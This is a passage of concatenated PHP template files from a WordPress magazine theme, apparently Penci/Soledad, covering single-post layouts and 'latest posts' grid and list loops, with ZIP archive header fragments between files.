		get_template_part( 'template-parts/single-meta-comment-top' );
	}
	?>

    <div class="post-entry <?php echo $heading_style; ?> <?php echo 'blockquote-' . $block_style; ?>">
        <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

			<?php do_action( 'penci_action_before_the_content' ); ?>

			<?php
			if ( get_theme_mod( 'penci_single_delayed_content' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-p-content-<?php echo get_the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'content'],get_permalink()) );?>" class="pcfb-single-content-delayed pc-content-delayed"></div>
				<?php
			} else {

				$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );
				$smartlists_style  = get_post_meta( get_the_ID(), 'pcsml_smartlists_style', true );
				$smartlists_h      = get_post_meta( get_the_ID(), 'pcsml_smartlists_h', true );
				$smartlists_order  = get_post_meta( get_the_ID(), 'pcsml_smartlists_order', true );

				if ( 'yes' == $smartlists_enable ) {
					$content            = get_the_content();
					$content            = apply_filters( 'the_content', $content );
					$content            = str_replace( ']]>', ']]&gt;', $content );
					remove_filter( 'the_content', 'penci_insert_post_content_ads' );
					add_filter('penci_toc_maybe_apply_the_content_filter',function(){
						return false;
					},10);
					$smartlists_content = penci_smartlists( [
						'style'        => $smartlists_style,
						'content'      => $content,
						'order'        => $smartlists_order,
						'h'            => $smartlists_h,
						'sm_title_tag' => $smartlists_h,
					] );
					if ( $smartlists_content ) {
						echo '<div class="pcsml-el pcsml-customized-ver scmchck">' . $smartlists_content . '</div>';
					}
				} else {
					the_content();
				}
			}
			?>

			<?php do_action( 'penci_action_after_the_content' ); ?>

            <div class="penci-single-link-pages">
				<?php wp_link_pages(); ?>
            </div>
			<?php if ( ! get_theme_mod( 'penci_post_tags' ) && has_tag() ) : ?>
				<?php if ( is_single() ) : ?>
                    <div class="post-tags">
						<?php the_tags( wp_kses( '', penci_allow_html() ), "", "" ); ?>
                    </div>
				<?php endif; ?>
			<?php endif; ?>

			<?php do_action( 'penci_end_single_content' ); ?>
        </div>
    </div>

	<?php if ( get_theme_mod( 'penci_post_adsense_two' ) ): ?>
        <div class="penci-google-adsense-2">
			<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_two' ) ); ?>
        </div>
	<?php endif; ?>

	<?php
	if ( 'below-content' == $single_poslcscount || 'abovebelow-content' == $single_poslcscount || 'btitle-bcontent' == $single_poslcscount ) {
		get_template_part( 'template-parts/single', 'meta-comment' );
	}
	?>

	<?php if ( get_theme_mod( 'penci_related_post_popup' ) ) : ?>
        <div class="penci-flag-rlt-popup"></div><?php endif; ?>

	<?php
	if ( get_theme_mod( 'penci_single_sec_delayed' ) ) {
		$is_log = is_user_logged_in() ? 'log' : 'no-log';
		?>
		<div data-id="section-p-<?php echo get_the_ID().'-'.$is_log;?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sections'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
		<?php
	} else {
		get_template_part( 'template-parts/single-sections' );
	}
	?>

</article>
PK     N\e@    "  template-parts/single-style-20.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-20 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-20 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>

<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
	echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
} ?>>
    <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
		echo ' penci-single-infiblock-end';
	} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
        <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					echo '<div class="penci-post-image-wrapper">';
					echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
					if ( ! get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					echo '<div class="post-format-entry-header">';
					echo '<div class="penci-sidebar-content">';
					if ( get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					get_template_part( 'template-parts/single', 'entry-header' );

					echo '</div>';
					if ( $show_post_format ) {
						echo '<div class="penci-single-s20-content">';
						get_template_part( 'template-parts/single', 'post-format' );
						echo '</div>';
					}
					echo '</div>';
					echo '</div>';
					echo '</div>';

				endwhile;
			endif;
			?>
        </div>
        <div class="<?php echo $class_container_single; ?>">
            <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                <div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
                </div>
            </div>
			<?php
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
                <div data-id="section-sidebar-<?php the_ID(); ?>"
                     data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                     class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
        </div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
    </div>
</div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>
PK     N\p+    "  template-parts/single-style-17.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-17 penci-single-smore hentry';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-17 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;

	$single_magazine .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}
$post_format = get_post_format();

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
							<?php
							if( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
								get_template_part( 'template-parts/single', 'breadcrumb-inner' );
								get_template_part( 'template-parts/single', 'entry-header' );
							}
							get_template_part( 'template-parts/single', 'post-format' );
							?>
						</div>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\?    5  template-parts/latest-posts-sc/content-small-list.phpnu [        <?php
/**
 * Template loop for small list style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
    <li class="list-post penci-item-listp penci-slistp">
        <article id="post-<?php the_ID(); ?>" class="item hentry">
			<?php if ( has_post_thumbnail() ) : ?>
                <div class="thumbnail">
					<?php
					do_action( 'penci_bookmark_post' );
					$thumbnail_load = penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size );
					$class_load     = '';
					if ( 'yes' == $grid_nocrop_list ):
						$thumbnail_load = 'penci-masonry-thumb';
						$class_load     = ' penci-list-nocrop-thumb';
					endif;
					?>

					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable() . $class_load; ?>"<?php if ( 'yes' == $grid_nocrop_list ): echo ' style="padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%"'; endif; ?>
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbnail_load ); ?>"
                           href="<?php penci_permalink_fix(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-image-holder<?php echo penci_class_lightbox_enable() . $class_load; ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail_load ); ?>');<?php if ( 'yes' == $grid_nocrop_list ): echo 'padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%;'; endif; ?>"
                           href="<?php penci_permalink_fix(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                        </a>
					<?php } ?>

					<?php if ( 'yes' != $grid_icon_format ): ?>
						<?php if ( has_post_format( 'video' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'gallery' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'audio' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'link' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'quote' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
						<?php endif; ?>
					<?php endif; ?>
                </div>
			<?php endif; ?>

            <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
                <div class="header-list-style">
					<?php if ( 'yes' != $grid_cat ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                    </<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>
					<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
						<?php if ( $grid_cat_move ) : ?>
							<span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>
							<?php if ( 'yes' != $grid_author ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                penci_coauthors_posts_links();
	                                else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                <?php endif; ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $grid_date ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' == $grid_comment_other ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( 'yes' == $grid_viewscount ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
	                        <?php if ( isset( $custom_meta_key ) ) {
		                        echo penci_show_custom_meta_fields( $custom_meta_key );
	                        } ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </article>
    </li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post penci-item-listp penci-slistp penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\.g=  =  7  template-parts/latest-posts-sc/content-classic-grid.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	//include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );get_template_part( 'content', 'classic' );
	include( locate_template( 'template-parts/latest-posts-sc/content-classic.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid.php' ) );
}

$j++;
?>

PK     N\    6  template-parts/latest-posts-sc/content-photography.phpnu [        <?php
/**
 * Template loop for typography style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
    <li class="grid-style grid-2-style typography-style">
        <article id="post-<?php the_ID(); ?>" class="item hentry">

            <div class="thumbnail">
                <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>

                <div class="content-typography">
                    <a href="<?php the_permalink(); ?>" class="overlay-typography"></a>
                    <div class="main-typography">
						<?php if ( 'yes' != $grid_cat ) : ?>
                            <span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>

                        <<?php echo $heading_title_tag;?> class="entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                    href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                        </<?php echo $heading_title_tag;?>>
						<?php do_action( 'penci_after_post_title' ); ?>
						<?php penci_soledad_meta_schema(); ?>

						<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                            <div class="grid-post-box-meta">
							<?php if ( $grid_cat_move ) : ?>
								<span class="cat"><?php penci_category( '' ); ?></span>
							<?php endif; ?>
								<?php if ( 'yes' != $grid_author ) : ?>
                                    <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                    penci_coauthors_posts_links();
	                                    else: ?>
                                            <a class="author-url url fn n"
                                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                    <?php endif; ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $grid_date ) : ?>
                                    <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' == $grid_comment_other ) : ?>
                                    <span class="otherl-comment"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( 'yes' == $grid_viewscount ) {
									echo '<span>';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                                    <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
								<?php endif; ?>
	                            <?php if ( isset( $custom_meta_key ) ) {
		                            echo penci_show_custom_meta_fields( $custom_meta_key );
	                            } ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
            </div>

        </article>
    </li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style grid-2-style typography-style penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\$    2  template-parts/latest-posts-sc/content-mixed-3.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j < 5 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid-2.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-small-list.php' ) );
}

$j++;
?>

PK     N\5S    3  template-parts/latest-posts-sc/content-featured.phpnu [        <?php
/**
 * Template loop for Featured Boxed style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$thumbbsize         = 'penci-full-thumb';
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
if ( 'custom' == $penci_featimg_size ) {
	$thumb_bigsize = isset( $thumb_bigsize ) ? $thumb_bigsize : '';
	if ( $thumb_bigsize ) {
		$thumbbsize = $thumb_bigsize;
	}
}
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$post_id = get_the_ID();
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
    <section class="grid-featured">
        <article id="post-<?php the_ID(); ?>" class="item featured-layout">
            <div class="thumbnail">
                <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( 'yes' != $grid_share_box ) : ?>
                    <div class="penci-post-share-box penci-featured-share-box">
                        <span class="penci-shareic"><a
                                    href="#"><?php penci_fawesome_icon( 'fas fa-share' ); ?></a></span>
                        <span class="penci-shareso">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
					</span>
                    </div>
				<?php endif; ?>
				<?php
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbbsize ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbbsize ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>
            </div>

            <div class="penci-featured-infor">
                <div class="grid-header-box featured-header-box">
					<?php if ( 'yes' != $grid_cat ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title overlay-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                    </<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>
					<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php if ( $grid_cat_move ) : ?>
								<span class="cat"><?php penci_category( '' ); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $grid_author ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                penci_coauthors_posts_links();
	                                else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                <?php endif; ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $grid_date ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' == $grid_comment_other ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( 'yes' == $grid_viewscount ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
	                        <?php if ( isset( $custom_meta_key ) ) {
		                        echo penci_show_custom_meta_fields( $custom_meta_key );
	                        } ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>

				<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
                    <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
						<?php 
						do_action( 'penci_before_post_excerpt' );
						penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
                    </div>
				<?php endif; ?>

				<?php if ( 'yes' == $grid_add_readmore ):
					$class_button = '';
					if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
					if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
					if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
					?>
                    <div class="penci-readmore-btn<?php echo $class_button; ?>">
